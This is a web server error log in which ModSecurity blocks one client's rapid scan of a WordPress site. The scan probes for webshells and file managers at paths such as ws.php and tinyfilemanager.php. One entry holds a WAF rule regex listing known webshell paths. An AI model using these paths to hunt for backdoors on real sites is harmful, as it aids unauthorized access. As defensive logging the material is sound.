[Tue May 19 02:31:14.811730 2026] [:error] [pid 36492:tid 36526] [client 20.151.117.104:14023] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade/index.php"] [unique_id "agta8mCVlogrkn9m2w4ufQAAAAQ"]
[Tue May 19 02:31:16.859120 2026] [autoindex:error] [pid 44087:tid 44107] [client 20.151.117.104:14297] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 02:31:21.606524 2026] [:error] [pid 44087:tid 44100] [client 20.151.117.104:14297] [client 20.151.117.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "agta-W5HPHbH9GK7l6wRwwAAAcs"]
[Tue May 19 02:31:26.752645 2026] [autoindex:error] [pid 44010:tid 44019] [client 20.151.117.104:14088] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 02:31:34.147960 2026] [autoindex:error] [pid 44010:tid 44016] [client 20.151.117.104:14088] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 02:31:35.256164 2026] [:error] [pid 44010:tid 44030] [client 20.151.117.104:14088] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws.php"] [unique_id "agtbBzcFUuogD3-74-aP1wAAANI"]
[Tue May 19 02:31:35.711396 2026] [:error] [pid 36492:tid 36533] [client 20.151.117.104:14311] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws.php"] [unique_id "agtbB2CVlogrkn9m2w4ujQAAAAs"]
[Tue May 19 02:31:36.155135 2026] [:error] [pid 44087:tid 44104] [client 20.151.117.104:14251] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws.php"] [unique_id "agtbCG5HPHbH9GK7l6wRywAAAc8"]
[Tue May 19 02:31:36.678339 2026] [:error] [pid 44087:tid 44114] [client 20.151.117.104:14185] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws.php"] [unique_id "agtbCG5HPHbH9GK7l6wRzQAAAdg"]
[Tue May 19 02:31:37.138307 2026] [:error] [pid 44046:tid 44058] [client 20.151.117.104:14022] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.bod/.ll/"] [unique_id "agtbCYYF4k2jfXJBXk0UQwAAAYo"]
[Tue May 19 02:31:38.385408 2026] [:error] [pid 44010:tid 44035] [client 20.151.117.104:14270] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.bod/.ll/"] [unique_id "agtbCjcFUuogD3-74-aP2QAAANc"]
[Tue May 19 02:31:38.890999 2026] [:error] [pid 44010:tid 44024] [client 20.151.117.104:14020] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.bod/.ll/"] [unique_id "agtbCjcFUuogD3-74-aP2gAAAMw"]
[Tue May 19 02:31:39.329781 2026] [:error] [pid 43916:tid 43925] [client 20.151.117.104:14115] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.bod/.ll/"] [unique_id "agtbC9QC236p33zJJvnghAAAAIE"]
[Tue May 19 02:31:39.853458 2026] [:error] [pid 44087:tid 44103] [client 20.151.117.104:14291] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "agtbC25HPHbH9GK7l6wR0AAAAc4"]
[Tue May 19 02:31:40.331593 2026] [:error] [pid 43916:tid 43935] [client 20.151.117.104:14163] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "agtbDNQC236p33zJJvnghQAAAIs"]
[Tue May 19 02:31:40.795302 2026] [:error] [pid 44010:tid 44025] [client 20.151.117.104:14034] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "agtbDDcFUuogD3-74-aP4AAAAM0"]
[Tue May 19 02:31:41.261320 2026] [:error] [pid 44046:tid 44071] [client 20.151.117.104:14179] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0.php"] [unique_id "agtbDYYF4k2jfXJBXk0URQAAAZc"]
[Tue May 19 02:31:41.791722 2026] [:error] [pid 44046:tid 44061] [client 20.151.117.104:14125] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "agtbDYYF4k2jfXJBXk0URgAAAY0"]
[Tue May 19 02:31:42.359464 2026] [:error] [pid 44010:tid 44026] [client 20.151.117.104:14167] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "agtbDjcFUuogD3-74-aP4gAAAM4"]
[Tue May 19 02:31:43.217089 2026] [:error] [pid 44010:tid 44016] [client 20.151.117.104:14048] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "agtbDzcFUuogD3-74-aP5AAAAMQ"]
[Tue May 19 02:31:43.848327 2026] [:error] [pid 44046:tid 44051] [client 20.151.117.104:14193] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "agtbD4YF4k2jfXJBXk0USAAAAYM"]
[Tue May 19 02:31:44.482838 2026] [:error] [pid 36491:tid 36519] [client 20.151.117.104:14263] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap/function.php"] [unique_id "agtbEE555B9CZb6D60kF6wAAAVg"]
[Tue May 19 02:31:44.986585 2026] [:error] [pid 36491:tid 36504] [client 20.151.117.104:14294] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap/function.php"] [unique_id "agtbEE555B9CZb6D60kF7gAAAUk"]
[Tue May 19 02:31:45.407935 2026] [:error] [pid 44046:tid 44062] [client 20.151.117.104:14132] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap/function.php"] [unique_id "agtbEYYF4k2jfXJBXk0USwAAAY4"]
[Tue May 19 02:31:45.853966 2026] [:error] [pid 36491:tid 36497] [client 20.151.117.104:14174] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap/function.php"] [unique_id "agtbEU555B9CZb6D60kF8gAAAUI"]
[Tue May 19 02:31:46.802960 2026] [:error] [pid 43916:tid 43944] [client 20.151.117.104:14138] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dvve.php"] [unique_id "agtbEtQC236p33zJJvnghgAAAJQ"]
[Tue May 19 02:31:48.662430 2026] [:error] [pid 44087:tid 44094] [client 20.151.117.104:14136] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dvve.php"] [unique_id "agtbFG5HPHbH9GK7l6wR1AAAAcU"]
[Tue May 19 02:31:49.086942 2026] [:error] [pid 44087:tid 44090] [client 20.151.117.104:14147] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dvve.php"] [unique_id "agtbFW5HPHbH9GK7l6wR1QAAAcE"]
[Tue May 19 02:31:49.726021 2026] [:error] [pid 44087:tid 44106] [client 20.151.117.104:14190] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dvve.php"] [unique_id "agtbFW5HPHbH9GK7l6wR1gAAAdE"]
[Tue May 19 02:31:50.265547 2026] [:error] [pid 44087:tid 44102] [client 20.151.117.104:14335] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/"] [unique_id "agtbFm5HPHbH9GK7l6wR1wAAAc0"]
[Tue May 19 02:31:50.711795 2026] [:error] [pid 36493:tid 36550] [client 20.151.117.104:14134] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/"] [unique_id "agtbFgynkzQB5nM668ropwAAAQE"]
[Tue May 19 02:31:51.145099 2026] [:error] [pid 36493:tid 36559] [client 20.151.117.104:14076] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/"] [unique_id "agtbFwynkzQB5nM668roqAAAAQo"]
[Tue May 19 02:31:51.591634 2026] [:error] [pid 44046:tid 44054] [client 20.151.117.104:14096] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/"] [unique_id "agtbF4YF4k2jfXJBXk0UTgAAAYY"]
[Tue May 19 02:31:52.079001 2026] [:error] [pid 36491:tid 36513] [client 20.151.117.104:14035] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "agtbGE555B9CZb6D60kF_wAAAVI"]
[Tue May 19 02:31:52.650691 2026] [:error] [pid 36491:tid 36501] [client 20.151.117.104:14189] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "agtbGE555B9CZb6D60kGAAAAAUY"]
[Tue May 19 02:31:53.130667 2026] [:error] [pid 36491:tid 36512] [client 20.151.117.104:14300] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "agtbGU555B9CZb6D60kGAQAAAVE"]
[Tue May 19 02:31:53.630071 2026] [:error] [pid 36491:tid 36514] [client 20.151.117.104:14102] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "agtbGU555B9CZb6D60kGAwAAAVM"]
[Tue May 19 02:31:54.079525 2026] [:error] [pid 36579:tid 36587] [client 20.151.117.104:14122] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "agtbGl-aoZxBfgL5vDy59QAAAEU"]
[Tue May 19 02:31:54.527761 2026] [:error] [pid 44010:tid 44021] [client 20.151.117.104:14119] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "agtbGjcFUuogD3-74-aP5gAAAMk"]
[Tue May 19 02:31:55.250904 2026] [:error] [pid 44010:tid 44013] [client 20.151.117.104:14283] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "agtbGzcFUuogD3-74-aP5wAAAME"]
[Tue May 19 02:31:55.731679 2026] [:error] [pid 43916:tid 43931] [client 20.151.117.104:14137] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "agtbG9QC236p33zJJvnghwAAAIc"]
[Tue May 19 02:31:56.213802 2026] [:error] [pid 36491:tid 36504] [client 20.151.117.104:14032] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/function.php"] [unique_id "agtbHE555B9CZb6D60kGBAAAAUk"]
[Tue May 19 02:31:57.208524 2026] [:error] [pid 36491:tid 36500] [client 20.151.117.104:14188] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/function.php"] [unique_id "agtbHU555B9CZb6D60kGBwAAAUU"]
[Tue May 19 02:31:57.662948 2026] [:error] [pid 36491:tid 36506] [client 20.151.117.104:14130] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/function.php"] [unique_id "agtbHU555B9CZb6D60kGCQAAAUs"]
[Tue May 19 02:31:58.092287 2026] [:error] [pid 36491:tid 36502] [client 20.151.117.104:14055] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/function.php"] [unique_id "agtbHk555B9CZb6D60kGCwAAAUc"]
[Tue May 19 02:31:58.522101 2026] [:error] [pid 44010:tid 44035] [client 20.151.117.104:14199] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/index.php"] [unique_id "agtbHjcFUuogD3-74-aP6QAAANc"]
[Tue May 19 02:31:59.065304 2026] [:error] [pid 36491:tid 36501] [client 20.151.117.104:14041] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/index.php"] [unique_id "agtbH0555B9CZb6D60kGDQAAAUY"]
[Tue May 19 02:31:59.519145 2026] [:error] [pid 44010:tid 44027] [client 20.151.117.104:14090] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/index.php"] [unique_id "agtbHzcFUuogD3-74-aP6gAAAM8"]
[Tue May 19 02:31:59.982926 2026] [:error] [pid 44046:tid 44066] [client 20.151.117.104:14126] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/index.php"] [unique_id "agtbH4YF4k2jfXJBXk0UUAAAAZI"]
[Tue May 19 02:32:00.444932 2026] [:error] [pid 44046:tid 44049] [client 20.151.117.104:14081] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/"] [unique_id "agtbIIYF4k2jfXJBXk0UUQAAAYE"]
[Tue May 19 02:32:00.874174 2026] [:error] [pid 36491:tid 36495] [client 20.151.117.104:13970] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/"] [unique_id "agtbIE555B9CZb6D60kGEAAAAUA"]
[Tue May 19 02:32:01.312912 2026] [:error] [pid 36491:tid 36503] [client 20.151.117.104:14024] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/"] [unique_id "agtbIU555B9CZb6D60kGEgAAAUg"]
[Tue May 19 02:32:01.734173 2026] [:error] [pid 44010:tid 44034] [client 20.151.117.104:13965] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/"] [unique_id "agtbITcFUuogD3-74-aP6wAAANY"]
[Tue May 19 02:32:02.232783 2026] [:error] [pid 44046:tid 44053] [client 20.151.117.104:14033] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "agtbIoYF4k2jfXJBXk0UVQAAAYU"]
[Tue May 19 02:32:02.654120 2026] [:error] [pid 36491:tid 36519] [client 20.151.117.104:14100] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "agtbIk555B9CZb6D60kGFAAAAVg"]
[Tue May 19 02:32:03.072491 2026] [:error] [pid 36491:tid 36500] [client 20.151.117.104:14168] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xx.php"] [unique_id "agtbI0555B9CZb6D60kGFgAAAUU"]
